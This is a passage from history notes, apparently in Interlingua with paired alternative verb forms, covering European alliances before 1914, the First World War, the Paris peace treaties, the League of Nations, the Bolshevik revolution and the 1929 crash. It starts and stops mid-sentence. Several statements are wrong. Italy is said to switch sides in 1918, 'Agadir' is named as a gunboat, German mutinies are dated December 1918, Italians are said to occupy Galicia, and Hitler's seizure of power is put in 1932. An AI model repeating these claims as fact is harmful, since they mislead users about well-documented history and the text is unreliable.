de Germania. Postea, con Franz Joseph de Austria et Alexandro II de Russia, ille establió\/establit la \"Liga de los Tres Imperatores\". Ista alliantia se debilitó\/debilitat in 1877, et Bismarck forgió\/forgiat relationes plus fortes con Austria, formante\/formando la Alliantia Triple. Postea Russia signó\/signat un novo tractato con Germania. Ista politica exterior habilissima insulava Francia de las altras potentias europeas\/europeanas et assecurava que per le momento los franceses non poterean recuperar los territorios de Alsacia et Lorena.\nQuando Wilhelm II devenió\/devenit le imperator de los germanos, ille habeva sus proprias ambitiones politicas (ma sin los cognoscimentos profundos de Bismarck sur le equilibrio de poter inter las potentias europeas\/europeanas) et discargó\/discargat Bismarck in 1890. Ille non renovó\/renovat le tractato inter Germania et Russia, et Francia videva una nova opportunitate pro forgiar una alliantia con le czar. Francia et Britannia tunc signaron un tractato que, con la alliantia anglo-russa de 1907, produceva le Triple Entente et le fin de la insulation diplomatica de Francia que Bismarck habeva preparato con tanta habilitate.\nLa Expansion Colonial de Germania:\nWilhelm II non habeva la prudentia de Bismark, qui cognosceva los periculos de una expansion de Germania ex sus territorios europeos\/europeanos, et cercava opportunitates pro satisfacer sus ambitiones expansionistas. In la guerra inter Japon et China, ille appoió\/appoiat Japon et postea potió\/potit penetrar China con los japoneses, provocante\/provocando la irritation de Britannia. In 1902 ille addeva a la irritation britannica contra Germania con la construction de una ferrovia a Bagdad.\nIn 1904 Germania laborava pro debilitar le poter de los franceses in le norte de Africa. Francia et Espania habevan dividito Marocco inter se, et Wilhelm II disembarcó\/disembarcat in Tanger in 1905, declarante\/declarando su appoio al sultan. Nonobstante, post la conferentia de Algeciras del anno sequente, sus planes pro destabilizar le division de Marocco inter los franceses et los espanioles fació\/facit fiasco.\nIste incidente non resolvió\/resolvit la rivalitate marrochina inter los franceses et los germanos. In 1911 emergeron graves discrepantias inter las companias germanas et francesas que operavan in Marocco. In los duos paises la agitation nationalista se resuscitó\/resuscitat quando truppas militares espaniolas invaderon Larache. Sub le pretexto de proteger los interesses de sus subjectos in ista zona, Germania invió\/inviat las canoneras Panther et Agadir, et los franceses concluderon que probabilemente Germania iva construer ibi una base naval.\nAnglaterra anque timeva la expansion militar de Germania in Africa, et le publico anglese monstrava un forte resentimento verso Germania. Wilhelm II decidió\/decidit recognoscer la soveranitate de Francia in le Marocco francese post la cession a Germania de certos territorios in Camerun. Ista transaction preservava la pace in ista parte de Africa sin eliminar la rivalitate germana et anglo-francesa, que sequeva su curso de crescimento.\nLa Crisis de Bosnia:\nDurante le conflicto inter los germanos et franceses in Marocco, duos fortes imperios, Russia et Austrohungria, habente\/habendo designos imperiales in los Balcanes, crearon un altro foco de tension. Las ambitiones de Russia eran assecurar se accesso al Mar Nigro, et Austria deseava imponer su soveranitate sur los populos slavicos de los Balcanes.\nPro cumplir sus ambitiones, Russia comenció\/comenciat la construction de una ferrovia que uniesse le Danubio con le mar Adriatico, et Austria comenció\/comenciat la construction de una altra ferrovia a Salonica. Ambos paises habueron conflictos con los \"juvenes turcos\", qui habevan la ambition de modernizar lor pais.\nRussia anque voleva unificar los diversos populos slavos, una ambition que confligeva con los desiros de Austria de controlar las populationes slavas in los Balcanes. La responsa de Austria fuó\/fuit la annexion de Bosnia et Herzegovina, provocante\/provocando una forte reaction nationalista, specialmente inter los serbios. Ma in dispecto del appoio russo, los populos slavos de los Balcanes deberon acceptar la occupation de Austria a causa de la fortia de la Alliantia Triple, ma lores ambitiones nationalistas se radicalizavan.\nLa Guerra de los Balcanes:\nLa Liga Balcanica, cujos membros eran Serbia, Bulgaria, Montenegro et Grecia, confrontava et debilitava le imperio turco, causante\/causando un grande resentimento inter los turcos, qui habevan perdito Lybia et Rhodas a Italia in 1912. La Liga Balcanica tunc debeva confrontar Bulgaria, que planificava una invasion de Serbia con la adjuta de Russia. Bulgaria capituló\/capitulat ante Serbia, et le tractato de Bucarest fixó\/fixat las frontieras inter las duas nationes. Ma la crisis balcanica causava una crescentia de tension inter las duas potentias europeas\/europeanas.\nLe Pace Armata:\nGermania, Francia, et Russia inauguraron programmas pro augmentar et perfectionar le armamento de lores fortias militares respectivas, empleante\/empleando un crescente numero de industrias cuja specialitate era la fabrication de material bellico, et augmentante\/augmentando lores budgets destinatos a la production militar.\nLos germanos anque essayaron meliorar lor potentia naval, que causava una grande preoccupation inter los angleses, qui usque tunc habevan una indisputabile hegemonia maritima. In 1905 le ministro anglese de Marina, Fisher, habeva recommendato al rege anglese, Edward VII, la annihilation de la flotta germana. Ma los germanos intensificaron lores effortios pro augmentar le numero de naves in lor flota como consequentia de un accordo inter Britannia et Francia in 1912.\nLe grande periculo de omne cursa de armamentos est que la potentia que possede las plus grandes fortias militares vole usar las ante una possibile descendita a un position de inferioritate.\nSex Nationes, Duas Alliantias\nLa ruptura del systema bismarckiano dava a Italia novas opportunitates diplomaticas, et los italianos se faceron parte de la alliantia germana et austrohungara, formante\/formando la Triple Alliantia in 1882. Intertanto los russos se unieron a la alliantia francobritannica, formante\/formando le Triple Entente. Ma in 1918 Italia vacilava inter ambas alliantias et finalmente intervenió\/intervenit contra sus previos alliatos.\nLa Prima Guerra Mundial comencia:\nLa tension provocante la guerra augmentava rapidissimamente et habuó\/habuit su prima explosion in los Balcanes. Ecce la succession de los primos eventos de la guerra:\n(1) Le archiduce Franz Ferdinand de Austria era assassinato in Sarajevo per un bosniano (Bosnia tunc pertineva al Imperio Austrohungaro). Austria accusó\/accusat Serbia de complicitate indirecta in iste evento, transmittió\/trasmittit un ultimatum durissimo a Serbia, et declaró\/declarat la guerra contra Serbia le 28 de julio de 1914.\n(2) Russia habeva annunciato que illa non permitterea una invasion de Serbia et decretó\/decretat la mobilization partial contra Austria le 29 de julio.\n(3) Germania declarava que illa non permitterea la continuation de ista action militar de Russia.\n(4) Russia tunc decretava la mobilization general.\n(5) Germania peteva que Francia, un alliato de Russia, mantenesse una position de neutralitate.\n(6) Francia non acceptó\/acceptat la proposition germana et decretó\/decretat la mobilization general.\n(7) Le 1 de augusto Germania declarava la guerra contra Russia.\n(8) Le 2 de augusto Germania exigió\/exigit que Belgio permittesse que sus fortias militares transversassen su territorio pro invader Francia.\n(9) Le 3 de augusto Germania declarava la guerra contra Francia.\n(10) Anglaterra decidió\/decidit comenciar su participation in la guerra a causa de la violation de la neutralitate de Belgio.\n(11) Ben que Italia era un alliato de Germania et Austria, los italianos declararon lor neutralitate in la prima parte de la guerra et postea appoiaron las fortias de Francia, Anglaterra, et Russia.\nPost declarar la guerra contra Francia, los germanos pensaron invader le territorio francese, ponente\/ponendo in practica un vetulo plan que le general von Schlieffen habeva elaborate in 1905 quando ille era le chef del Alto Stato Major Central de Germania.\nLe Plan Schlieffen consisteva de invader Francia per Belgio, passante\/passando verso le west pro circumferer et assediar Paris.\nLos franceses habevan lor Plan XVII, elaborato per le general Joffre in 1911, que consisteva de frustrar la invasion al nord de Luxemburgo. Illes establieron una potente linea defensiva desde Belfort a Meziers, apud los territorios de Alsacia-Lorena, que illes speravan conquerir immediatamente. A causa de ista strategia, los franceses lassaron una brecha de 200 kilometros desde Meziers usque le mar, que la armea\/armata germana potió\/potit penetrar sin difficultate.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 3\nLas Primas Operationes de la Guerra:\nLos planes militares initiales de los franceses et de los germanos facieron fracasso. Le general Moltke executó\/executat le plan Schlieffen le 4 de augusto de 1914, ma ille non habeva calculato que los belgos resisterean las incursiones germanas. Los angleses inviaron a Belgio una fortia expeditionaria a causa de la violation de la neutralitate de Belgio per los germanos. Durante ista parte de la guerra il habeva 57 divisiones germanas contra 24 divisiones francesas, 7 belgas, et 5 anglesas.\nAnte la impossibilitate de executar lor plan initial de circumferer Paris, los germanos concentraron lores truppas al est de Paris. Los franceses tunc tentaron penetrar in Alsacia-Lorena, supponente\/supponendo que los germanos deberean reinfortiar lor ala dextra, destinata a circumferer la capital francesa. Ma illes discoperieron que la supponita\/supposta debilitate germana non existeva post lor tentativa de romper le fronte germano in la battalia de Ardennes.\nLa Battalia del Marne:\nLos germanos obligaron los franceses et los angleses a retroceder in octo dies de marchas fortiatas usque le fluvio Marne et ancora pensavan que illes poterean circumferer Paris, ma los franceses reinfortiaron lor ala sinistra et frustraron los effortios de los germanos. Durante ista parte de la guerra los germanos et los francobritannicos habevan fortias quasi equivalentes (53 divisiones contra 57) et speravan confrontar los germanos definitivamente in la battalia del Marne.\nIsta battalia comenció\/comenciat le 5 de septembre de 1914. Il habeva una brecha de 40 kilometros inter las lineas germanas, ma las fortias francobritannicas non poteron usar la contra los germanos a causa de la fatiga de lores soldatos et le manco de munitiones, et los germanos establieron una nova linea apud le fluvio Aisne.\nLos germanos deberon abandonar completamente le plan Schlieffen. Illes comprenderon que las fortias unificatas de los franceses et de los angleses eran troppo potentes pro vincer Francia con un colpo decisivo. Las truppas germanas tamen essayaron romper le fronte anglofrancese in la prime battalia de Ypres del 12 de octubre al 11 de novembre, 1914, inter Arras et la costa. Ista battalia fuó\/fuit multo sanguinaria, et los germanos perderon plus que 100.000 soldatos sin complir lor objectivo.\nUsque tunc los germanos speravan conducer una guerra fulmine, movente\/movendo lores truppas rapidamente in territorios grandes, ma illes et los anglofranceses deberon conducer lores actiones in trencheas, et durante tres annos la linea del fronte non se moverea plus que 15 kilometros in despecto de la destruction massiva infligita per illes.\nLa Offensiva Russa:\nIn le fronte oriental, los russos invadevan Prussia oriental et Galitzia, una region polonesa dominata per Austria. De ista maniera illes contribueron indirectamente a la debilitation de las fortias germanas in le Marne perque los germanos debevan mover quatro divisiones de Francia al fronte russo. Post las battalias de Tannenberg (26-30 augusto, 1914) et de los lacos Masurios, los germanos expelleron los russos de la Prussia oriental.\nIn dispecto de una perdita de homines grandissima, los russos vinceron los austriacos in las battalias de Lemberg (augusto-septembre, 1914) et occuparon la Galitzia oriental. Post ista debilitation de las fortias austriacas, los franceses poteron contener los germanos plus facilemente.\nLos germanos timevan una Guerra de duos frontes, ma sus planes pro evitar lo facieron un fiasco decisivo. Una Guerra longa era inevitabile. Los soldatos germanos eran habiles et coragiososos, ma la economia de Germania se debilitava a causa de la necessitate de approvisionar los soldatos et suppler las necessitates de la population civil. Los japoneses anque declararon la guerra contra Germania le 23 de augusto de 1914 et occuparon las possessiones germanas in le oriente extremo et in le Pacifico. Turchia tamen se unió\/unit a Germania et bombardó\/bombardat los portos russos de Odessa et Sebastopol.\nLos germanos tunc tentaron facer un colpo decisivo contra los russos in maio, 1915, ma lor attacco duró\/durat usque septembre. Los austrogermanos perderon un grande numero de soldatos. Lores effortios tamen obligaron que los russos retrocedessen, ma Austria et Germania tunc eran troppo debiles pro circumferer los. Los italianos intraron in la guerra appoiante\/appoiando los franceses, los angleses, et los russos. Illes aperieron un novo fronte in Isonzo, obligante\/obligando que Austria aperiesse un altro fronte et reducente\/reducendo la pression de los austriacos sur los russos.\n1916, le Anno de Longas Battalias Sanguinarias Indecisivas:\nDurante le tertio anno de la Prima Guerra Mundial omnes las fortias militares se trovavan in un impasse sanguinario et paralytico. Omnes paises que participavan in la guerra perderon numeros enormes de soldatos in conditiones infernales, specialmente in las battalias de Verdun et del Somme.\nIn 1916 Francia et su alliatos consentieron actuar conjunctamente de una maniera organizata in duos frontes principales. Ma los germanos, con le proposito de liberar se de la necessitate de luctar continuamente in las trencheas, initiaron una nova offensiva contra Verdun le 21 de februario. Illes sapevan que Verdun occupava una position importante et era un loco de multo valor symbolico et dunque speravan que los franceses mobilizarean omnes sus fortias pro defender lo et que ibi illes poterean dar un colpo definitivo a la armea\/armata francesa.\nLos franceses responderon como los germanos speravan, ma, post quatro menses de combattes exceptionalmente sanguinarios, los germanos non complieron lor objectivo. Al fin de la offensiva, le 12 de julio, Germania habeva sacrificato 240.000 homines et los franceses 275.000. Simultaneamente, in le fronte oriental, los russos practicamente disarticularon la armea\/armata austrohungara, capturante\/capturando 200.000 prisioneros, et los italianos poteron occupar Galitzia.\nLos angleses conduceron una grande offensiva sur le fluvio Somme. In despecto de la concentration de lores fortias, illes non poteron rumper le fronte et penetraron solamente unos paucos kilometros. Ista battalia fuó\/fuit mesmo plus sanguinaria que illa de Verdun, que se prolongó\/prolongat a cinque menses de combattes sin treguas. Post lores effortios, los angleses perderon 400.000 homines, los franceses 200.000, et los germanos 450.000.\nGermania et Austria tamen conquerieron Romania, debilitante\/debilitando fortemente la armea\/armata russa, que durante los primos annos de la Guerra habeva sacrificato unos 3.800.000 soldatos.\nLa defaite final de Germania in 1918:\nIn la primavera de 1918, los germanos interprenderon unas offensivas con resultatos positivos, inter illas un secundo attacco sur le Marne. Ma in lor tertio attacco sur iste fronte Francia et sus alliatos vinceron la armea\/armata de Ludendorff. Le maximo chef de los franceses, le general Foch, comenció\/comenciat una serie de attaccos que gradualmente debilitavan las armas germanas.\nLe 8 de augusto, con la adjuta de tanks, los alliatos de los franceses rumperon le fronte occidental et recuperaron lo que los germanos habevan ganiato la primavera. Los germanos eran troppo debiles pro luctar multo effectivamente, et Francia et sus alliatos, incoragiatos per lores successos, aperieron una offensiva in omnes los frontes.\nIn le oriente, los alliatos habueron successos similes. Illes penetraron le fronte de Bulgaria, que tunc solicitava un armisticio. Post rumper le fronte turco, los angleses conquirieron Damasco in Syria. Le 27 de septembre, Ludendorff recomendó\/recomendat fortemente un armistitio, que le governamento germano demandava un mense postea (le 26 de octobre) post capitular ante alicunas demandas del presidente statounitese, Wilson.\nLe 29 de octubre Karl I de Austria demandó\/demandat un armistitio post la defaite de Vittorio Veneto a manos de los italianos. Duos dies postea Turchia anque capitulava, et le 23 et le 28 de octobre los croatas et los checos, respectivamente, declararon lor independentia.\nLa situation interna de Germania devenió\/devenit extremamente tensa. Le populo germano, que durante annos habeva sacrificato multissimo pro continuar una guerra inutile, se rebellava contra su governamento aperta- et massivamente. Las fortias militares germanas se motinaron in decembre, et Wilhelm II debió\/debit abandonar Germania et refugiar se in los Paises Bassos.\nLe secretario de Stato Scheideman proclamó\/proclamat una nova republica germana, et le 11 de novembre de 1918 Germania capitulava definitivamente, acceptante\/acceptando las durissimas conditiones de los alliatos. Los germanos volevan negotiar un tractato de pace, ma los alliatos refusaron lo et imponeron sur los germanos conditiones de pace severissimas. In 1919 le economista anglese John Maynard Keynes precocemente admoneva que las duras conditiones de pace imponitas\/impostas per los alliatos perpetuarean la ruina de la economia germana, causante\/causando rebelliones inter los germanos, et presentarean un grande periculo de un altro periodo de destablization europea\/europeana periculoso.\nLas Consequentias de la Guerra:\nPost la Prima Guerra Mundial la population de los paises que habevan participato in la guerra era extremamente demoralizata. Unos 8.500.000 europeos habevan morito\/morto in la guerra, que habeva demonstrato la incompetentia de los governamentos europeos\/europeanos pro mantener relationes stabiles et rationabiles inter se.\nLa guerra anque provocó\/provocat una seria crisis economica in Europa perque los homines qui morieron in la guerra eran juvenes. In conditiones de pace, illes haberean essito inter los plus productivos sectores de la population. Francia habeva perdito 20% de su population activa, Germania 15%, et Britannia et Italia 10%.\nBen que Germania habeva perdito homines et ressources materiales que in tempores pacificos on haberean potito dedicar a production economica utile, los campos de guerra eran foras de su territorio national. Illes qui habevan luctato contra Germania memoravan isto et era etiam plus exigentes in lores demandas de indemnization. Ma mesmo pro los victores, la destruction material et humana de la guerra necessitava effortios continuos et difficiles pro evitar le chaos economico.\nPost la ruina de Europa, los Statos Unitos et la Union Sovietica emergeron como los polos politicos et economicos los plus importantes del mundo. Japon anque emergeva como la potentia la plus importante de Asia.\nIn paises neutrales, como Espania, alicunas personas se inricchieron enormemente satisfaciente\/satisfaciendo las enormes et crescentes demandas economicas pro alimentos et altros productos commerciales inter las nationes belligerantes de la guerra. Ma los precios de istos productos, mesmo in Espania, crescevan a causa de la demanda general enorme, et como la major parte de la population espaniola non poteva comprar los, la guerra presentava le paradoxo de consequentias negativas pro multa gente in Espania.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 4\nLa Organization de la Pace\nLa Doctrina del Presidente Wilson:\nLe 8 januario de 1919 le presidente statounitese Woodrow Wilson presentava al mundo un programma idealista que respondeva al generalizato desiro pro la pace inter omnes los populos que habevan sufferito le disastro de la guerra. La parte central de su programma eran 14 punctos que summarizavan la situation international post la guerra et offerevan una possibile reorganization del systema international que evitarea la repetition de una guerra tan disastrosa.\nWilson voleva le recognoscimento international de la independentia de los paises occupatos per Germania, la admission del principio de la autodetermination de las nationalitates, et le establimento de un organismo international que regularea relationes internationales et que garantirea la independentia et equalitate de omnes las nationes, eliminante\/eliminando omnes relationes diplomaticas secretas, que habevan essito la causa de multos conflictos internationales.\nIlle anque voleva pro omnes una garantia de la libre navigation per los mares del mundo (puncto secundo) et la suppression de omnes barrieras economicas in le intercambio commercial (puncto tertio).\nAltros punctos tractavan relationes internationales generales, como la justa regulation de affaires coloniales (puncto quinto) et la disposition de los territorios occupatos per Germania. Ille voleva que los germanos evacuassen Romania, Serbia, Montenegro, et Belgio. Quanto a Austria et Turchia, ille voleva la independentia pro las populationes diversas que istos paises habevan annexato, et quanto a Polonia, ille voleva garantias de su independentia.\nIn su ultimo puncto Wilson proponeva le establimento de la Societate de Nationes. Ben que le mundo generalmente approbó\/approbat le programma de Wilson, Francia, Britannia, et Italia habevan sus proprias agendas.\nLe presidente del Concilio francese, Clemenceau, voleva consolidar la victoria de los alliatos sur los germanos, debilitante\/debilitando Germania permanentemente de maniera que illa nunquam poterea menaciar Francia.\nLe primo ministro britannico, Lloyd George, voleva eliminar la competition de Germania contra Anglaterra como potentia naval et colonialista et reestablir un equilibrio politico inter los paises europeos\/europeanos pro assecurar que Francia nunquam poterea attaccar Anglaterra.\nLe italiano Orlando voleva assecurar la dissolution del imperio austrohungaro et assecurar que nulle pais poterea menaciar las frontieras del nord de Italia.\nLos Tractatos de Paris:\nDurante januario, 1919 —solamente unos paucos dies post la publication mundial del programma de Wilson— comenció\/comenciat in Paris una elaborata conferentia de pace que excludeva los paises vincitos. Ista conferentia includeva Japon, ma Wilson, Clemenceau, Lloyd George, et Orlando fueron los architectos de una serie de tractatos que establirean una nova structura politica inter los paises europeos\/europeanos.\nPost longas negotiationes, la conferentia produció\/producit cinque pactos differentes. Clemenceau era le architecto principal del tractato de Versailles, que regulava la pace inter los alliatos et Germania in 453 articulos, los quales los germanos nominavan un Diktat pro la severitate exceptional de las demandas de los alliatos contra Germania. Il anque habeva quatro altros tractatos: (1) de Saint Germain con Austria, (2) Neuilly con Bulgaria, (3) Trianon, con Hungria, (4) et Sevres, con le Imperio Ottomano.\nForsan le cambio le plus spectacular fuó\/fuit le dismembramento del Imperio Austrohungaro, que la familia Hapsburg habeva unificato plus aut minus precariamente sub le control austriaco. On declarava que Austria esserea\/serea una republica; et Hungria, Checoslovachia, Polonia, et Yugoslavia emergevan como nationes independentes. Austria anque debeva ceder a Italia le Tirol del Sud, Trieste, Istria, parte de Dalmatia, Carynthia, et Carniola.\nLos alliatos anque dismembraron le Imperio Ottomano et etiam volevan facer disparer Turchia como un pais independente, convertiente\/convertiendo lo in una specie de protectorato de una de las grandes potentias vincentes. Ma, a causa de lor fortissimo nationalismo, los turcos preservaron lor independentia a la grande surprisa de los altros paises de Europa.\nLe tractato de Sevres obligava que Turchia perdesse la major parte de los territorios que illa habeva controllato, ma le tractato de Lausanne, signato in 1923, permitteva que los turcos recuperassen la Thracia oriental. Russia debeva abandonar Polonia, Lithuania, Estonia, Letonia, et Finlandia, que devenieron statos independentes. Ma plus tarde in le tractato de Brest-Livotsk, Russia cedeva a los germanos practicamente omnes sus territorios europeos\/europeanos.\nLe tractato de Versailles restitueva Alsace et Lorraine a Francia, Schleswig nord a Danmark, la Prussia polonesa a Polonia, et Eupen et Malmedy a Belgio.\nIste tractato anque obligava que los germanos cedessen a la Societate de Nationes omnes lores colonias et la administration del Saar, cujas minas esserean\/serean exploitatas per Francia durante un periodo de 15 annos.\nLos germanos anque debevan demilitarizar le litore dextro del Rheno, et postea los alliatos lo occuparon. Germania anque debeva dar a los alliatos abundante material de Guerra: 25% de su flotta de pisca, quantitates diversas de lor carbon et bestial, locomotivas, wagones, et altros materiales diversos.\nLos germanos anque deberon pagar a los alliatos 269.000.000.000 marcos auro in quaranta-duos annos et reducer lor armea\/armata a 100.000 homines, suprimente\/suprimente le servicio militar obligatorio.\nIn Europa appareron nove\/novem statos novos: Polonia, Finlandia, Estonia, Lithuania, Checoslovachia, Yugoslavia, las Republicas de Austria et Hungria (secundo le principio de autodetermination del presidente Wilson). Iste principio haberea resonantia foras de Europa, stimulante\/stimulando movimentos de independentia in las colonias de altras potentias europeas\/europeanas.\nLa Societate de Nationes (SDN):\nLa SDN, una organization cujo fin primordial era conservar la pace et le ordine international, fuó\/fuit establita durante la conferentia de Versailles a causa de la influentia del presidente Wilson. Sus primos membros fueron los vincitores de la Prima Guerra Mundial, las solas potentias que habevan un derecto a participar in la conferentia, ma los Statos Unitos non se faceron parte de la SDN perque le senato statounitese non approbó\/approbat le tractato que lo establiva.\nLos paises vincitos durante la guerra non volevan formar parte de la SDN perque illa era un organismo controllato per los vincitores, los quales volevan mantener le status quo establito per los diversos tractatos signatos in Paris. La SDN anque non habeva fortias armatas pro imponer sus decisiones in casos de conflicto inter sus membros. La SDN tamen habeva unas victorias symbolicas, pro exemplo post le congresso de Locarno (1925), que resultó\/resultat in un dialogo incoragiante inter paises traditionalmente hostiles, como Germania et Francia.\nLos quatro annos sequentes reduceron las differentias inter los alliatos et Germania, producente\/producente eventualmente la Republica de Weimar, que se jungó\/jungit a la SDN, signante\/signando un novo tractato de pace franco-germano, que terminava la occupation del Rheno per los alliatos.\nMa la SDN non poteva impedir la invasion de China per Japon in 1931 et la invasion italiana de Abyssinia (nunc Ethiopia). Post que Hitler saisiesse le governamento de Germania in 1932, Germania et altros paises abandonaron la SDN, et in pauco tempore la SDN disintegrava completamente.\nLa Organization de la Pace\nLa Russia czarista et le movimento socialista:\nLa revolution de octobre, 1917, habuó\/habuit pro Russia etiam plus importantia que la Guerra Mundial mesma, et sus effectos esserean\/serean enormes etiam pro le resto del mundo.\nIn los annos ante la guerra le governamento de los paises occidentales con fortes economias industriales —como Anglaterra, Francia, et Germania— habevan observato con timor la evolution del socialismo, cujos crescentes talentos pro organizar movimentos de protesta menaciavan los traditionales establimentos economicos et politicos de los paises industrializatos. Le proletariato de istos paises constantemente augmentava et se jungeva a los socialistas, qui devenivan una fortia politica de plus in plus menaciante.\nLas conditiones de la Russia czarista eran quasi medievales in multas partes del pais, et su industrialization era primitiva comparata a paises como los Statos Unitos et los paises industrializatos de la Europa ocidental. Le proletariato russo se concentrava in nucleos insulatos circumferitos per una grande massa de paisanos liberatos del feudalismo solamente ante un seculo.\nIn lor guerra pro occupar Manchuria, Russia non poteva prevaler contra un Japon fortemente industrializato, et il deveniva evidente que le governamento de Nicholas II non poteva ni defender le pais multo ben de menacias exteriores ni provider multo facilemente las necessitates basicas de su population, et durante la Prima Guerra Mundial, Germania et Austria anque volevan destabilizar le governamento de Russia et tacitamente adjuvaron los revolutionarios russos.\nLenin et la Ascension Bolchevica:\nLenin, exiliato in Switza, retornó\/retornat a Russia et lanceó\/lanceat una campania pro \"pace, terra, et pan\". Ille habeva una capacitate extraordinaria pro attraher las massas al programma bolchevista, que constantemente attraheva novos adeptos a su causa.\nIn julio, le governamento russo, timente\/timendo un complot, movió\/movit aggressivamente contra los bolchevicos, imprisionante\/imprisionando Leon Trotsky, qui habeva retornato de su exilio in los Statos Unitos.\nLenin tunc se vidió\/vidit obligato a passar a la clandestinitate. Le 9 de augusto le menchevico Kerenski fuó\/fuit nominato le chef del governamento. Los menchevicos eran socialistas qui preferevan reformas moderatas et graduales al programma drastico et radical de los bolchevicos.\nLe octobre rubio\/russo:\nPost disputas asperas, Lenin convinció\/convincit le Committee\/Committato Central de su partito de la necessitate de la insurrection armata. Leon Trotsky formó\/format la strategia pro la lucta et la dirigeva. Ille projectó\/projectat occupar Petrogrado et le Palatio de Hiberno, la sede del governamento provisional.\nLos menchevicos habevan formato le Committee\/Committato de la Defensa de la Revolution que debeva occupar se de la securitate de un novo governamento socialista contra intentos de un colpo reactionario post que la guarnition de Petrogrado habuisse essito inviata al fronte de guerra, et los bolchevicos tosto poteron sasir iste committee\/committato et converter lo a lores proprios scopos.\nLe 24 de octobre le governamento de Karenski discoperió\/discoperit las manovras de los bolchevicos et declararon un stato de assedio, ma las fortias de los menchevicos non eran bastante grandes pro frustrar las intentiones de los bolchevicos, qui sasieron omne le poter politico con una minima perdita de vitas.\nOccupatos los edificios principales de la urbe, le Palatio de Hiberno cadió\/cadit le die sequente (7 de novembre in le calendario occidental).\nLos bolchevicos immediatemente assembleron le Secundo Congresso de los Soviets et formaron un Consilio de Commissarios del Populo, presidito per Lenin, qui promulgó\/promulgat una declaration de armistitio et de la abolition de la proprietate privata de la terra in omnes los territorios russos.\nDe la Assemblea Constituente a la Guerra Civil:\nUn mense postea los bolchevicos organizaron la Assemblea Constituente, que includeva representantes de omnes las Russias. Los bolchevicos obteneron solamente 24% de los votos; ma conjunctamente con los votos de lores alliatos, Lenin et sus compatriotas assemblevan una majoritate absoluta. Le resultato de istas manovras fuó\/fuit una guerra civil contra los cossacos et una armea\/armata de voluntarios, que se formó\/format con la adjuta generosa de Francia et Anglaterra.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 5\nLe Periodo Inter la Prima et la Secunda Guerras Mundiales:\nDurante la secunda decada del seculo XX, los populos de los paises que habevan participato in la Prima Guerra Mundial volevan oblidar la violentia militar que habeva causato tanta sufferentia a illes. Pro multos sectores de la population, lores conditiones economicas gradualmente melioraron usque le puncto que il esseva facile perder se sovente in celebrationes et soirees.\nMa sectores bellicistas germanos et franceses menaciavan la apparente stabilitate de illos annos. Nonobstante, duos homines, Stressemann de Germania et Briande de Francia, travaliaron conjunctamente con bon successo pro mitigar bastante ista hostilitate.\nIn februario, 1925, Germania inviava un memorandum a Anglaterra, Francia, et Italia proponiente\/proponiendo un pacto cuja provision principal era la renunciation de la violentia militar como medio de resolver problemas diplomaticos inter las nationes. Ecce los resultatos producitos per ista conferentia:\n(1) Le recognoscimento del governamento germano que Alsace et Lorraine eran francesas et que Eupen et Malmedy eran belgas.\n(2) Un accordo francese pro studiar la prompta evacuation del area del Rheno de Germania, que Francia habeva occupato como una garantia que los germanos satisfacerean las obligationes imponitas\/impostas sur illes per le tractato de Versailles.\n(3) Una maniera plus facile de pagar las reparationes de guerra exigitas a Germania secundo le Tractato de Versailles.\n(4) Appoio a Germania pro affiliar se a la Societate de Nationes.\nLas negotiationes sur las frontieras orientales de Germania (con Polonia et Chechoslovachia) lassavan iste problema sin solution, et los negotiantes postponevan le problema pro resolution eventual per un tribunal international de arbitrage (Pacto del Est).\nLe spirito de Locarno produció\/producit un pacto planificato principalmente per duos diplomatos, un francese et un statounitese: le Pacto Briand-Kellog, cuja provision la plus importante era la renunciation de la guerra como un medio pro resolver difficultates inter los paises signatorios del pacto, lo qual era multo popular inter las nationes del mundo, et quasi omnes illos lo signavan.\nUn altro passo importante fuó\/fuit le pacto Young (ille porta le nomine del diplomatico americano qui fuó\/fuit le presidente de la commission que lo redigió\/redigit in 1929), que reduceva et postponeva las reparationes de guerra exigitas a Germania. Iste pacto reimplaciava le plan Dawes, una altra initiativa statounitese, que produceva resultatos impracticabiles.\nLa Decada de Disveloppamento Economico:\nAl fin de la Prima Guerra Mundial, las potentias principales passaron trans un periodo critico durante le qual illas convertivan lores economias bellicas a la production civil. Ista conversion causó\/causat una depression in 1920, que nonobstante fuó\/fuit bastante breve.\nIn los annos 1923 et 1924 una expansion sin precedentes transformó\/transformat la industria et le commercio international. Su foco principal era la economia de los Statos Unitos, que eventualmente eran responsibiles pro 42% de la production industrial del mundo.\nIn Europa, las potentias traditionales et Chechoslovachia habevan la taxa de crescimento economico la plus grande.\nIn Asia, Japon continuava con un successo general sus planes de expansion economica.\nLa Union Sovietica disveloppava su economia secundo planes centralizatos independentes, los quales insulavan iste pais de la economia international dominata per los Statos Unitos.\nLa expansion economica de los paises occidentales accelerava a un rhythmo unico in omne la historia mundial. La demanda pro articulos industriales disveloppatos in le seculo XX (radios, automobiles, refrigeratores) accelerava, deveniente\/deveniendo accessibile al consumitor general a causa de novos systemas de credito pro vender los.\nMa con ista expansion industrial multas fabricas eventualmente producevan una quantitate de productos que le mercato non poteva absorber, et una crisis economica disveloppava quando multas de istas fabricas debevan suspender lores operationes, et la gente qui habeva travaliato in illas non habeva la moneta necesse pro comprar lo que illes habeva producito.\nLa Crisis de 1929:\nLe 24 de octobre de 1929, un die que passarea a la historia como \"jovedi nigro\", le mercato de valores de New York, post una ascension frenetica que habeva durato unos annos, cadeva precipitatamente, Le panico sasiva la communitate financiaria, et le incubo de una nova, forte, et durabile crisis economica levava su capite repulsiva. Multos investitores caderon in la ruina. Un numero bastante grande de illes se suicidó\/suicidat.\nUnos investitores, timente\/timendo que le valor de lores actiones era plus alto que le valor productivo de la industria americana, comenció\/comenciat vender los. Iste timor sasió\/sasit un crescente numero de investitores, qui anque volevan vender lores actiones, et los precios de omnes illas descenderon rapidissamente como una bolla de plumbo, producente\/producendo una forte depression que se prolongarea in los Statos Unitos usque la eruption de la Secunda Guerra Mundial.\nIsta crisis affectó\/affectat altros paises de forma multo disequal. Generalmente paises como Germania et Anglaterra, que exportavan multos productos a los Statos Unitos et cujas economias dependevan fortemente de creditos americanos, experientiaron similes crisis economicas.\nQuando los Statos Unitos non poteron inviar dollars a istos paises, lores transactiones internationales se reduceron fortemente, et illos non habevan altras fontes de moneta pro financiar lores proprias importationes. Illos tunc non potevan cambiar lor moneta imprimita contra auro, et le systema monetario international collabió\/collabit.\nCon iste collapso general, multos paises limitaron lores importationes in un effortio pro proteger lores proprias industrias, limitante\/limitando le commercio international, que se redució\/reducit a una taxa de 33% inter 